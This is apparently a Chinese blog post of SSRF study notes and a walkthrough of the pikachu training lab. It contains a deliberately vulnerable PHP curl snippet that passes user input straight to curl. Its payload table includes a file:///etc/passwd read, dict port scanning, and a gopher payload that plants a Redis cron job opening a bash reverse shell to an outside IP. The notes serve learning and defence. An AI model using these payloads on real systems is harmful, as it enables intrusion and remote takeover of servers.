当前位置: 首页 > news >正文

网安-SSRF-pikachu

目录

SSRF:Server-Side Request Forgery

PHP curl

PHP 可能引起SSRF的函数

PHP其他函数

CURL其他协议

SSRF利用:

SSRF的发现 

工具

SSRF的防御

pikachu-SSRF

一:curl

1.访问连接:

2.读取本地文件

 3.dict协议扫描主机端口

二:file_get_content

4.http协议请求内网资源


SSRF:Server-Side Request Forgery

服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。因为是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

PHP curl

<?php
function curl($url){  $ch = curl_init();// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出  // 抓取URL并把它传递给浏览器  curl_exec($ch);//关闭cURL资源,并且释放系统资源  curl_close($ch);
}$url = $_GET['url'];
curl($url);  
?>

获取网页资源——爬虫
webservice——获取接口数据
FTP——下载文件
php.ini extension=php_curl.dll

PHP 可能引起SSRF的函数

函数作用
curl_exec()执行 cURL 会话
file_get_contents()将整个文件读入一个字符串
 
fsockopen()打开一个网络连接或者一个Unix套接字连接

PHP其他函数

函数作用
curl_exec()执行 cURL 会话
file_get_contents()将整个文件读入一个字符串
fsockopen()打开一个网络连接或者一个Unix套接字连接

CURL其他协议

协议作用payload
file查看文件curl -v 'file:///etc/passwd'
dict探测端口http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306
gopher反弹shellcurl -v
'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%
0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >&
/dev/tcp/192.168.142.135/4444
0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%
0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron
/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a
$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$
4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

dict和gopher协议原本作用:

dict协议:用于搭建在线字典服务
gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代

SSRF利用:

1.扫描资产
2.获取敏感信息
3.攻击内网服务器(绕过防火墙)
4.访问大文件,造成溢出
5.通过Redis写入WebShell或建立反弹连接

实际案例:

1.Wordpress 3.5.1以下版本 xmlrpc.php pingback的缺陷与SSFR
2.discuz!的SSRF(利用php的header函数来绕过,其实就是302跳转实现协议转换)
3.weblogic的SSRF

SSRF的发现 

1.爬取地址
2.查看是否请求了其他资源,也可以用Google语法搜索关键字:
share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

工具

https://github.com/cujanovic/SSRF-Testing
https://github.com/tarunkant/Gopherus
https://github.com/swisskyrepo/SSRFmap

SSRF的防御

1.禁用协议
2.限制请求端口
3.设置URL白名单
4.过滤返回信息
5.统一错误信息

pikachu-SSRF

一:curl

点击后看到url

1.访问连接:

2.读取本地文件

 3.dict协议扫描主机端口

二:file_get_content

和上题一样不过换成了file

4.http协议请求内网资源

?file=http://127.0.0.1/pikachu/wiki/image/title.png

参考文章:

pikachu靶场练习——SSRF详解_pikachu ssrf-CSDN博客

 

http://www.xdnf.cn/news/1091575.html

相关文章:

  • 小程序主体变更全攻略:流程、资料与异常处理方案
  • 使用DDR4控制器实现多通道数据读写(十九)
  • 安卓设备信息查看器 - 功能介绍
  • 【软件工程】tob和toc含义理解
  • Claude Code 环境搭建教程
  • Go语言高级面试必考:切片(slice)你真的掌握了吗?
  • 基于Spring Boot+Vue的DIY手工社预约管理系统(Echarts图形化、腾讯地图API)
  • Linux驱动05 --- TCP 服务器
  • Android网络层架构:统一错误处理的问题分析到解决方案与设计实现
  • 第九篇:信息化知识 --系统集成项目管理工程师 第3版专题知识点笔记
  • A模块 系统与网络安全 第四门课 弹性交换网络-2
  • SAP ERP与Oracle EBS对比,两个ERP系统有什么区别?
  • RAM带宽计算及分析
  • oracle ocp题库有多少道题,以及题库背诵技巧
  • 编译安装的Mysql5.7报“Couldn‘t find MySQL server (mysqld_safe)“的原因 笔记250709
  • Git 使用
  • Live555-RTSP服务器
  • Higress 上架 KubeSphere Marketplace,助力企业构建云原生流量入口
  • 【Linux】Rocky Linux 安装 Docker 与 Docker-Compose
  • React Native 状态管理方案全面对比
  • 暑假算法日记第五天
  • MySQL事务操作全解析
  • ReactNative【实战系列教程】我的小红书 6 -- 购物(含商品搜索、商品分类、商品列表)
  • uniapp真机调试“没有检测到设备,请插入设备或启动模拟器后点击刷新再试”
  • 【内核基础精讲】I2C 子系统核心概念与结构全解析
  • 从互联网电脑迁移Dify到内网部署Dify方法记录
  • 【基础算法】贪心 (四) :区间问题
  • Java——异常
  • 自然语言处理中probe探测是什么意思。
  • 从传统到智能:地质灾害风险评估、易发性分析与灾后重建;AI大语言模型DeepSeek、ChatGPT、GIS、Python和机器学习深度融合